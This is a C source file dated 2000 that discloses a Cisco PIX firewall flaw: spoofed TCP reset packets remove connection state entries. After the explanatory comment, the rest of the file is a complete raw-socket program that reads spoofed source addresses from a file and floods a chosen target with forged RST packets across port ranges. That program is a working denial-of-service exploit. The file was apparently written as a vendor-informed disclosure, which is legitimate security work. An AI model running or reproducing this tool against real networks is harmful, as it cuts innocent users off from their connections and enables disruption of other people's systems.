/* reset_state.c (c) 2000 Citec Network Securities */
/* The code following below is copyright Citec Network Securities */
/* Code was developed for testing, and is written to compile under */
/* FreeBSD */
/*
 
  Hi All, just a bit of a security notification.
 
  Cisco has been informed of this problem and Im waiting for a fix for the
  problem, Ive also noted that various other firewalls are effected by this
  code, though if you wanna know if whatever you are running is effected,
  you will have to test it.
 
  A brief rundown of the problem.
 
  If you run routable ips on your internal interface on your pix, and
  routeable ips on your external interface, so the pix is not running nat,
  the pix keeps a state table of everything going on.  Anything that is not
  in your state table that attempts to come in from the outside is denied,
  even if there is a conduit in place to permit anything.  Which means that
  you have to establish a connection from your internal network to your
  external network before anything external can send data back.  This is a
  really nice feature, unfortunatly there is a big of a bug that I found in
  this.  While testing on in house equipment for possible flaws, as we
  continually test various products, I found the following.
 
  On recieving a RST packet (TCP Reset) from a given host with the correct
  source and destination port, the PIX will drop the state entry for that
  particular connection, which means the tcp connection dies due to the fact
  that no state entry the external box can no longer talk to the internal
  box.
 
  So, if we take a standard raw ip packet, give it a tcp header, and set the
  source ip as a machine that your internal box is connected to, and the
  destination ip as your internal machine, set the source port on the
  spoofed ip as the port the person is connected to, set your destination
  port on your destination ip cyclically to possible source ports on his
  side, and send resets, it will drop the persons state table entry, cutting
  him off from the box he is connected to.
 
  Now, the one question I asked when I wrote this, is why does this work,
  why is there no seq/ack checking on RST packets, this was answered in the
  TCP RFC, saying that seq/ack numbers are not checked on RST packets,
  however they are checked on FIN packets, hence using FIN packets for this
  test is futile without sequence prediction code.
 
  There is a simple work around for this problem however, and anyone wishing
  to know the details of that is free to email me at andrew@cnsec.co.za for
  details.
 
  Below I have posted example code to show the exploit and how it works, and
  hopefully this will be useful to someone on this list and help fix a
  fairly nasty denial of service problem.
 
  Many Thanks
 
  Andrew Alston
  Citec Network Securities (Director)
  Phone: (011) 787 4241
  Fax: (011) 787 4259
  Email: andrew@cnsec.co.za
 
*/


#define __BSD_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>

struct slist
  {
    struct in_addr  spoof;
    struct slist   *link;
  }
;					/* Spoof list */

int
main(int argc, char *argv[])
{

  int i, int2;
  int             sock;		/* Socket stuff */
  int             on = 1;		/* Socket stuff */
  struct sockaddr_in sockstruct;	/* Socket stuff */
  struct ip      *iphead;		/* IP Header pointer */
  struct tcphdr  *tcphead;	/* TCP Header pointer */
  char            evilpacket[sizeof(struct ip) + sizeof(struct tcphdr)];
  /* Our reset packet */
  int             seq, ack;	/* Sequence and Acknowledgement #'s */
  FILE           *spooffile;	/* Spoof file */
  char           *buffer;		/* Spoof file read buffer */
  struct slist   *scur, *sfirst;	/* Spoof linked list pointers */
  char src[20], dst[20];		/* Work around for inet_ntoa static */
  /* Pointers when using printf() */
  int sourcefrom, sourceto, destfrom, destto;	/* CMD Line ports */
  int target;			/* Target address from inet_addr() */


  if(argc < 6)
    {
      fprintf(stderr, "Usage: %s spoof_file target sps spe dps dpe\n"
              "target = your victim\n"
              "sps = Source port start\n"
              "spe = Source port end\n"
              "dps = Destination port start\n"
              "dpe = Destination port end\n", argv[0]);
      exit(-1);
    }
  else
    {
      sourcefrom = atoi(argv[3]);
      sourceto = atoi(argv[4]);
      destfrom = atoi(argv[5]);
      destto = atoi(argv[6]);
    };

  if(sourcefrom > sourceto)
    {
      printf("Error, start source port must be less than end source port\n");
      exit(-1);
    }
  else if(destfrom > destto)
    {
      printf("Error, start dest port must be less than end dest port\n");
      exit(-1);
    };

  printf("Used spoof file %s\n"
         "Destination: [%s] ports: [%d -> %d]\n"
         "Target source ports: [%d -> %d]\n",
         argv[1], argv[2], destfrom, destto, sourcefrom, sourceto);

  sleep(1);

  bzero(evilpacket, sizeof(evilpacket));
  /* Clean our reset packet */

  sfirst = malloc(sizeof(struct slist));
  scur = sfirst;
  scur->link = NULL;		/* Setup our spoof linked list */

  if(!(buffer = malloc(25)))
    {
      perror("malloc");
      exit(-1);
    }
  ;			/* Allocate for read buffer */

  if ((spooffile = fopen((char *) argv[1], "r")) <= 0)
    {
      perror("fopen");
      exit(-1);		/* Open our spoof file */
    }
  else
    {
      while (fgets(buffer, 25, spooffile))
        { 	/* Read till EOF */
          if (!(inet_aton(buffer, &(scur->spoof))))
            printf("Invalid address found in victim file.. ignoring\n");
          else
            {
              scur->link = malloc(sizeof(struct slist));
              scur = scur->link;
              scur->link = NULL;	/* Cycle l.list */
            }
        }
      ;		/* End of while loop */
    }
  ;		/* End of if {} else {} */


  free(buffer);			/* Free up our read buffer */
  fclose(spooffile);		/* Close our spoof file */
  scur = sfirst;			/* Set spoof list current to first */

  if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
      perror("socket");
      exit(-1);
    }				/* Allocate our raw socket */

  if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on, sizeof(on)) < 0)
    {
      perror("setsockopt");
      exit(-1);
    }				/* Set socket options for raw iphead */

  sockstruct.sin_family = AF_INET;
  iphead = (struct ip *) evilpacket;
  tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
  /* Align ip and tcp headers */

  iphead->ip_hl = 5;		/* Ip header length is 5 */
  iphead->ip_v = 4;		/* ipv4 */
  iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
  /* Length of our total packet */
  iphead->ip_id = htons(getpid());	/* Packet ID == PID # */
  iphead->ip_ttl = 255;			/* Time to live == 255 */
  iphead->ip_p = IPPROTO_TCP;		/* TCP Packet */
  iphead->ip_sum = 0;			/* No checksum */
  iphead->ip_tos = 0;			/* 0 Type of Service */
  iphead->ip_off = 0;			/* Offset is 0 */
  tcphead->th_win = htons(512);		/* TCP Window is 512 */
  tcphead->th_flags = TH_RST;		/* Reset packet */
  tcphead->th_off = 0x50;			/* TCP Offset 0x50 */

  iphead->ip_dst.s_addr = inet_addr(argv[2]);

  srand(getpid());			/* Seed for rand() */
  while (scur->link != NULL)
    {
      seq = rand() % time(NULL);	/* Randomize our #'s */
      ack = rand() % time(NULL);	/* Randomize ack #'s */
      sockstruct.sin_port = htons(rand() % time(NULL));
      iphead->ip_src = scur->spoof;	/* Set the spoofed address */
      sockstruct.sin_addr = scur->spoof;
      for(i = sourcefrom; i <= sourceto; i++)
        {
          for(int2 = destfrom; int2 <= destto; int2++)
            {
              usleep(2);	/* Sleep 5ms between packets */
              seq += (rand() %10)+250;
              ack += (rand() %10)+250;
              tcphead->th_seq = htonl(seq);
              /* Set sequence number */
              tcphead->th_ack = htonl(ack);
              /* Set ack number */
              tcphead->th_dport = htons(int2);
              /* Set destination port */
              tcphead->th_sport = htons(i);
              /* Set source port */
              snprintf(src, 20, "%s", inet_ntoa(iphead->ip_src));
              snprintf(dst, 20, "%s", inet_ntoa(iphead->ip_dst));
              /* Copy info to src and dst for printing */
              printf("TCP RESET: [%s:%d] -> [%s:%d]\n", src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport));
              sendto(sock, &evilpacket, sizeof(evilpacket), 0x0,
                     (struct sockaddr *) & sockstruct, sizeof(sockstruct));
              /* Send our evil packet */
            };
        };
      scur = scur->link;		/* Cycle the spoof ips */
    }
  scur = sfirst;
  return (1);

};
/*                    www.hack.co.za           [20 May 2000]*/